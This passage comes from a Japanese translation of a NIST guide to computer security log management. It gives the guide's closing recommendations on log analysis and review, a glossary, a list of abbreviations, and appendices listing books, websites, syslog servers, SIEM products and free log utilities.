するうえでも有用である。最も重要なログ項目を対象とした作業に集中できるように、各組織は、いくつかの要素の組み合わせをベースにログ項目の優先順位付けを行うことを検討すべきである。

システムレベルの管理者は、基本的にインフラストラクチャ管理者の場合と同様の方法でそれぞれのログデータ分析を行う必要がある。通常、システムレベルの管理者は、インフラストラクチャに送られないログ項目の分析を行うだけでない。意味を理解するためにはシステムレベルでしか得られないコンテキスト情報が必須であるようなログ項目の分析をも行う。分析によって重要なイベントを発見した場合、適切な措置がとられるよう所定のインシデント対応手順に従って行動するか、インシデントに該当しないイベント（深刻でない運用上の問題など）については管理者自身によって対応すべきである。インシデント対応においては、システムおよびログがイベントによって飽和状態になるのを防ぐこと、またはイベントの補足情報を収集することを目的としてログの設定に変更を加える場合があるため、管理者はこれに応じる用意をしておく必要がある。

各組織は、テストおよび妥当性検証活動を定期的に実行し、組織のログ管理ポリシー、プロセスおよび手順が組織全体のインフラストラクチャレベルとシステムレベルの両方で遵守されていることを確認すべきである。ログ管理インフラストラクチャの設計も定期的に見直しをし、必要に応じて変更を行うべきである。変化する環境の中で最新の脅威に対する検知の実効性を維持するためにも、ログ管理プロセスおよび手続きに対する定期的な見直しは必要である。

付録A—用語集

『*コンピュータセキュリティログ管理ガイド*』で使用している用語について、その一部の定義を以下に示す。

集約（Aggregation）：「イベントの集約（Event Aggregation）」を参照。

コンピュータセキュリティログ管理（Computer Security Log Management）：コンピュータセキュリティログのデータのみを対象としたログ管理。

相関（Correlation）：「イベント相関（Event Correlation）」を参照。

イベント（Event）：システムまたはネットワーク内で発生する事象。

イベントの集約（Event Aggregation）：類似のログ項目を統合し、イベント発生件数の情報を含んだ単一のログ項目にすること。

イベント相関（Event Correlation）：複数のログ項目の間にある関連性を見つけること。

イベントのフィルタ処理（Event Filtering）：有用な情報が含まれるとは考えにくい特性を持つログ項目を、分析、報告、および長期間の保持の対象から除外すること。

イベントの縮減（Event Reduction）：すべてのログ項目から不要なデータフィールドを削除し、よりサイズの小さい新たなログを作成すること。

ファシリティ（Facility）：syslog メッセージにおいて、メッセージの分類を意味する用語。

ログ（Log）：組織のシステムおよびネットワーク内で発生するイベント（事象）の記録。

ログ分析（Log Analysis）：ログ項目を調べて、注目すべきイベントを特定したり、重要でないイベントのログ項目を除去したりすること。

ログのアーカイブ（Log Archival）：長期間にわたってログを保管すること。一般的には、リムーバブルメディア、ストレージエリアネットワーク（SAN）、ログアーカイブ専用アプライアンスまたはサーバなどに保管する。

ログの消去（Log Clearing）：ある一定の日時よりも前の時点のログから、全てのログ項目を削除する。

ログの圧縮（Log Compression）：ログファイルの意味内容を変化させることなく、格納に必要なストレージ容量が少なくなるような方法でログファイルを格納すること。

ログの変換（Log Conversion）：ある形式のログの構文解析を行い、その中の項目を別の形式で格納すること。

ログ項目（Log Entry）：ログに含まれる個別の記録。

ログファイルの完全性チェック（Log File Integrity Checking）：あるログファイルの現在のメッセージダイジェストと元のメッセージダイジェストとを比較することで、そのログファイルが改変されているかどうかを判定すること。

ログ管理（Log Management）：ログデータを生成、通信、格納、分析および破棄するプロセス。

ログ管理インフラストラクチャ（Log Management Infrastructure）：ログデータの生成、通信、格納、分析および廃棄に使用するハードウェア、ソフトウェア、ネットワーク、およびメディア。

ログの正規化（Log Normalization）：個々のログデータフィールドを特定のデータ表現に変換し、一貫性のある方法で分類すること。

ログの構文解析（Log Parsing）：ログからデータを抽出し、解析した後、結果を別のログ操作プロセスの入力として使用できるようにすること。

ログの保全（Log Preservation）：特に注目すべき活動についての記録が含まれているログを、破棄せずにとっておくこと。

ログの縮減（Log Reduction）：ログから不要なログ項目を削除することで、よりサイズの小さい新たなログを作成すること。

ログの報告（Log Reporting）：ログ分析の結果を報告すること。

ログの保管（Log Retention）：標準的な運用活動の一環として定期的にログをアーカイブすること。

ログのローテーション（Log Rotation）：あるログファイルの記録が完了したとみなされるときに、そのログファイルを閉じて新しいログファイルを開くこと。

ログの参照（Log Viewing）：ログ項目を人が読める形式で表示すること。

メッセージダイジェスト（Message Digest）：データを一意に識別するディジタル署名の一種。データの内容が 1 ビットでも変更されるとまったく異なるメッセージダイジェストが生成される特性を持つ。

正規化（Normalization）：「ログの正規化（Log Normalization）」を参照。

ルールベースのイベント相関（Rule-Based Event Correlation）：単一または複数の生成元から得られた複数のログ項目を、記録された属性値（タイムスタンプ、IP アドレス、イベントの種類など）に基づいて照合するにより、イベント相関を行うこと。

セキュリティ情報およびイベント管理ソフトウェア（Security Information and Event Management Software）：さまざまな種類のログに関して一元管理されたログ機能を提供するプログラム。

syslog：汎用的なログ項目形式およびログ項目の通信メカニズムを定めたプロトコルの一種。

付録B—略語

『*コンピュータセキュリティログ管理ガイド*』で使用している略語について、その一部の定義を以下に示す。

CERT®/CC CERT® Coordination Center（コンピュータ緊急対応センター）
CIO Chief Information Officer（最高情報責任者）
CMVP Cryptographic Module Validation Program（暗号モジュール試験及び認証制度）
COTS Commercial Off-the-Shelf（市販の既製品）

EPS Events Per Second（1 秒あたりイベント件数）

FFMIA Federal Financial Management Improvement Act（連邦財務管理改善法）
FIPS Federal Information Processing Standard（連邦情報処理規格）
FISMA Federal Information Security Management Act（連邦情報セキュリティマネジメント法）
FTP File Transfer Protocol（ファイル転送プロトコル）

GLBA Gramm-Leach-Bliley Act（金融制度改革法）
GOTS Government Off-the-Shelf（政府調達向け既製品）
GRS General Records Schedule（一般文書保管計画）
GUI Graphical User Interface（グラフィカルユーザインタフェース）

HIPAA Health Insurance Portability and Accountability Act（医療保険の相互運用性と説明責任に関する法律）
HTTP Hypertext Transfer Protocol（ハイパーテキスト転送プロトコル）

IDMEF Intrusion Detection Message Exchange Format（侵入検知メッセージ交換形式）
IDS Intrusion Detection System（侵入検知システム）
IETF Internet Engineering Task Force（インターネット技術特別調査委員会）
IP Internet Protocol（インターネットプロトコル）
IPsec Internet Protocol Security（インターネットプロトコルセキュリティ）
IT Information Technology（情報技術）
ITL Information Technology Laboratory（情報技術ラボラトリ）

MB Megabyte（メガバイト）

NARA National Archives and Records Administration（米国国立公文書館）
NIST National Institute of Standards and Technology（米国国立標準技術研究所）
NTP Network Time Protocol（ネットワークタイムプロトコル）

OMB Office of Management and Budget（行政管理予算局）
OS Operating System（オペレーティングシステム）

PCI DSS Payment Card Industry Data Security Standard（クレジットカード業界のデータセキュリティ基準）

RFC Request for Comments（インターネット技術に関する IETF 発行文書）

SAN Storage Area Network（ストレージエリアネットワーク）

SEM	Security Event Management（セキュリティイベント管理）
SHA	Secure Hash Algorithm（安全なハッシュアルゴリズム）
SIEM	Security Information and Event Management（セキュリティ情報およびイベント管理）
SIM	Security Information Management（セキュリティ情報管理）
SNMP	Simple Network Management Protocol（簡易ネットワーク管理プロトコル）
SOHO	Small Office/Home Office（スモールオフィス／ホームオフィス）
SOX	Sarbanes-Oxley Act（米国企業改革法）
SP	Special Publication（特別刊行物）
SSH	Secure Shell（セキュアシェル）
SSL	Secure Sockets Layer（セキュアソケットレイヤ）
TCP	Transmission Control Protocol（通信制御プロトコル）
TLS	Transport Layer Security（トランスポート層セキュリティ）
UDP	User Datagram Protocol（ユーザデータグラムプロトコル）
URL	Uniform Resource Locator（統一資源位置指定子）
US-CERT	United States Computer Emergency Readiness Team（米国コンピュータ緊急対応チーム）
VLAN	Virtual Local Area Network（仮想ローカルエリアネットワーク）
VPN	Virtual Private Networking（仮想プライベートネットワーク）
XML	Extensible Markup Language（拡張可能マークアップ言語）

付録C—ツールとおよびリソース

以下の一覧に、ログの管理を理解するのに役に立つツールとリソースの例を示す。

印刷資料

Babbin, Jacob et al, Security Log Management: Identifying Patterns in the Chaos, Syngress, 2006.

Bauer, Michael D., Chapter 10 (System Log Management and Monitoring) of Building Secure Servers with LINUX, O'Reilly, 2002.

Giuseppini, Gabriele, Microsoft Log Parser Toolkit, Syngress, 2005.

Maier, Phillip Q., Audit and Trace Log Management: Consolidation and Analysis, Auerbach, 2004.

Singer, Abe and Bird, Tina, Building a Logging Infrastructure, USENIX Association, 2004.

資料サイト

組織	URL
CERT® Coordination Center (CERT®/CC)	http://www.cert.org/
Cryptographic Module Validation Program (CMVP)	http://csrc.nist.gov/cryptval/
IETF Extended Incident Handling working group	http://www.ietf.org/html.charters/inch-charter.html
IETF Security Issues in Network Event Logging working group	http://www.ietf.org/html.charters/syslog-charter.html
IETF Syslog working group	http://www.employees.org/~lonvick/index.shtml
LogAnalysis mailing list archive	http://lists.shmoo.com/mailman/listinfo/loganalysis
LogAnalysis.Org	http://www.loganalysis.org/
LogBlog	http://blog.loglogic.com/
SANS Institute	http://www.sans.org/
SANS Institute Log Analysis mailing list archive	http://lists.sans.org/mailman/listinfo/log-analysis
SANS Institute Webcast Archive	http://www.sans.org/webcasts/archive.php
Syslog.org	http://www.syslog.org/
Talisker Security Wizardry Portal	http://www.networkintrusion.co.uk/
The Unofficial Log Parser Support Site	http://www.logparser.com/
United States Computer Emergency Readiness Team (US-CERT)	http://www.us-cert.gov/

資料文書

文書名	URL
Advanced Log Processing, by Anton Chuvakin	http://www.securityfocus.com/infocus/1613
Computer Records and the Federal Rules of Evidence, Orin S. Kerr, Department of Justice	http://www.usdoj.gov/criminal/cybercrime/usamarch2001_4.htm
FIPS 180-2, *Secure Hash Standard*	http://csrc.nist.gov/publications/fips/fips180-2/fips180-2withchangenotice.pdf
Internet-Draft, *Requirements for the Format for Incident Information Exchange (FINE)*	http://www.ietf.org/internet-drafts/draft-ietf-inch-requirements-08.txt
Internet-Draft, *The Incident Object Description Exchange Format Data Model and XML Implementation*	http://www.ietf.org/internet-drafts/draft-ietf-inch-iodef-07.txt
Internet-Draft, *The Intrusion Detection Exchange Protocol (IDXP)*	http://www.ietf.org/internet-drafts/draft-ietf-idwg-beep-idxp-07.txt
Internet-Draft, *The Intrusion Detection Message Exchange Format*	http://www.ietf.org/internet-drafts/draft-ietf-idwg-idmef-xml-16.txt
NIST SP 800-40 version 2, *Creating a Patch and Vulnerability Management Program*	http://csrc.nist.gov/publications/nistpubs/800-40-Ver2/SP800-40v2.pdf
NIST SP 800-41, *Guidelines on Firewalls and Firewall Policy*	http://csrc.nist.gov/publications/nistpubs/800-41/sp800-41.pdf
NIST SP 800-52, *Guidelines for the Selection and Use of Transport Layer Security (TLS) Implementations*	http://csrc.nist.gov/publications/nistpubs/800-52/SP800-52.pdf
NIST SP 800-53, *Recommended Security Controls for Federal Information Systems*	http://csrc.nist.gov/publications/nistpubs/800-53/SP800-53.pdf
NIST SP 800-61, *Computer Security Incident Handling Guide*	http://csrc.nist.gov/publications/nistpubs/800-61/sp800-61.pdf
NIST SP 800-70, *Security Configuration Checklists Program for IT Products—Guidance for Checklists Users and Developers*	http://csrc.nist.gov/checklists/download_sp800-70.html
NIST SP 800-83, *Guide to Malware Incident Prevention and Handling*	http://csrc.nist.gov/publications/nistpubs/800-83/SP800-83.pdf
NIST SP 800-86, *Guide to Integrating Forensic Techniques into Incident Response*	http://csrc.nist.gov/publications/nistpubs/800-86/SP800-86.pdf
NIST SP 800-88, *Guidelines for Media Sanitization*	http://csrc.nist.gov/publications/nistpubs/800-88/SP800-88_Aug2006.pdf
NIST SP 800-94 (DRAFT), *Guide to Intrusion Detection and Prevention (IDP) Systems*	http://csrc.nist.gov/publications/drafts.html
RFC 2246, *The TLS Protocol Version 1.0*	http://www.ietf.org/rfc/rfc2246.txt
RFC 3164, T*he BSD Syslog Protocol*	http://www.ietf.org/rfc/rfc3164.txt
RFC 3195, *Reliable Delivery for Syslog*	http://www.ietf.org/rfc/rfc3195.txt
SANS Institute, *Top 5 Essential Log Reports*	http://www.sans.org/resources/top5_logreports.pdf

一般的なログ形式とイベント情報[63]

ログ形式	URL
ファイアウォールにおけるログ記録と監視 （Firewall logging and monitoring）	http://www.loganalysis.org/sections/parsing/application-specific/firewall-logging.html
Linux システムにおけるログ管理と監視 (Linux system log management and monitoring)	http://www.oreilly.com/catalog/bssrvrlnx/chapter/ch10.pdf （Michael D. Bauer 著、『Building Secure Servers with LINUX』からの抜粋)
Microsoft ログイベント（Events and Errors Message Center） (Microsoft log events (Events and Errors Message Center))	http://www.microsoft.com/technet/support/ee/ee_advanced.aspx
Microsoft Windows 2000 のログ (Microsoft Windows 2000 logs)	Chapter 9, “Auditing and Intrusion Detection”, of Securing Windows 2000 Server, http://www.microsoft.com/technet/security/prodtech/windows2000/secwin2k/default.mspx
Microsoft Windows Security Log Encyclopedia	http://www.ultimatewindowssecurity.com/encyclopedia.html
Microsoft Windows 2003 のログ (Microsoft Windows Server 2003 logs)	http://www.microsoft.com/technet/security/prodtech/windowsserver2003/w2003hg/sgch00.mspx
Microsoft Windows のログ管理スクリプト (Microsoft Windows log management script)	http://support.microsoft.com/?id=318763
Microsoft Windows XP イベントログ管理 (Microsoft Windows XP event log management)	http://support.microsoft.com/?scid=308427
Web サーバにおける一般的ログファイル形式 (Web server common log file format)	http://www.w3.org/Daemon/User/Config/Logging.html

一般的な syslog サーバ実装[64]

名前	URL
Kiwi Syslog	http://www.kiwisyslog.com/info_syslog.htm
Metalog	http://metalog.sourceforge.net/
Modular Syslog (Msyslog)	http://sourceforge.net/projects/msyslog/
nsyslog	http://coombs.anu.edu.au/~avalon/nsyslog.html
rsyslog	http://www.rsyslog.com/
San Diego Supercomputer Center (SDSC) Secure Syslog	http://sourceforge.net/projects/sdscsyslog/, http://security.sdsc.edu/software/sdsc-syslog/
Syslog New Generation (Syslog-ng)	http://freshmeat.net/projects/syslog-ng/, http://www.balabit.com/products/syslog-ng/
WinSyslog	http://www.winsyslog.com/en/

63 多くの UNIX および Linux システムでは、主要なログ形式として syslog を採用している。この付録にある一般的な syslog サーバ実装の一覧では、syslog 形式とイベント情報についての詳細情報への参照先を示している。

64 この一覧に示すアプリケーション群は、syslog サーバ実装に使用されるアプリケーションの網羅的な一覧ではない。また、この文書で特定の製品を暗に推奨しているわけでもない。

一般的な SIEM 製品[65]

名前	ベンダー	URL
ArcSight Enterprise Security Manager (ESM)	ArcSight	http://www.arcsight.com/product.htm
Cisco Security Monitoring, Analysis and Response System (MARS)	Cisco Systems	http://www.cisco.com/en/US/products/ps6241/index.html
Consul InSight	Consul Risk Management	http://www.consul.com/Content.asp?id=54
Enterprise System Analyzer	eIQnetworks	http://www.eiqnetworks.com/products/EnterpriseSecurityAnalyzer.shtml
enVision	Network Intelligence	http://www.network-intelligence.com/Product/eFeatures/baselines.asp
eTrust Audit	Computer Associates	http://www3.ca.com/solutions/Product.aspx?ID=157
eTrust Security Command Center (SCC)	Computer Associates	http://www3.ca.com/solutions/SubSolution.aspx?ID=4350
EventTracker	Prism Microsystems	http://www.eventlogmanager.com/
High Tower	High Tower Software	http://www.high-tower.com/products.asp
Intellitactics Security Manager	Intellitactics	http://www.intellitactics.com/
InTrust	Quest Software	http://www.quest.com/intrust/
Log Correlation Engine	Tenable Network Security	http://www.tenablesecurity.com/products/lce.shtml
LogCaster	RippleTech	http://www.rippletech.com/products/
LogLogic	LogLogic	http://www.loglogic.com/products/
LogRhythm	LogRhythm	http://www.logrhythm.com/solutions.html
nFX	netForensics	http://www.netforensics.com/
Netcool/NeuSecure	IBM	http://www.micromuse.com/sols/dom_man/sec_man.html
NetIQ Security Manager	NetIQ	http://www.netiq.com/products/sm/default.asp
Open Source Security Information Management (OSSIM)	Open source project	http://www.ossim.net/, http://sourceforge.net/projects/os-sim/
QRadar Network Security Management	Q1Labs	http://www.q1labs.com/content.php?id=175
Security Information Manager	Symantec	http://www.symantec.com/Products/enterprise?c=prodinfo&refId=929&cid=1004
Security Management Center (SMC)	OpenService	http://www.openservice.com/products/smc.jsp
SenSage	SenSage	http://www.sensage.com/products-sensage.htm
Sentinel	Novell	http://www.novell.com/products/sentinel/
Snare Server	InterSect Alliance	http://www.intersectalliance.com/snareserver/index.html
TriGeo Security Information Manager (SIM)	TriGeo Network Security	http://www.trigeo.com/products/

[65] この一覧に示すアプリケーション群は、SIEM に使用されるアプリケーションの網羅的な一覧ではない。また、この文書で特定の製品を暗に推奨しているわけでもない。この一覧では、広義での SIEM を示しており、SIM または SEM 専用の製品も含まれている可能性がある。

一般的な無料のログ管理ユーティリティ[66]

名前	タイプ	URL
fwlogwatch	Log analyzer	http://fwlogwatch.inside-security.de/
Log Parser	Log parser	http://www.microsoft.com/downloads/details.aspx?FamilyID=890cd06b-abf8-4c25-91b2-f8d975cf8c07&displaylang=en
Log Tool	Log parser	http://xjack.org/logtool/
LogSentry (formerly known as Logcheck)	Log analyzer	http://logcheck.org/, http://sourceforge.net/projects/logcheck/
Logsurfer	Log analyzer	http://www.cert.dfn.de/eng/logsurf/
Logwatch	Log analyzer	http://www.logwatch.org/
Project Lasso	Windows event log management	http://sourceforge.net/projects/lassolog
Swatch	Log analyzer	http://swatch.sourceforge.net/

[66] この一覧に示すアプリケーション群は、ログ管理ユーティリティに使用されるアプリケーションの網羅的な一覧ではない。また、この文書で特定の製品を暗に推奨しているわけでもない。一般的なログ管理ユーティリティの詳細な一覧については、LogAnalysis.org の Web サイト（http://www.loganalysis.org/）で入手できる。

（本ページは意図的に白紙のままとする）

付録D—索引

ね

ふ

ま

め

り

る

ろ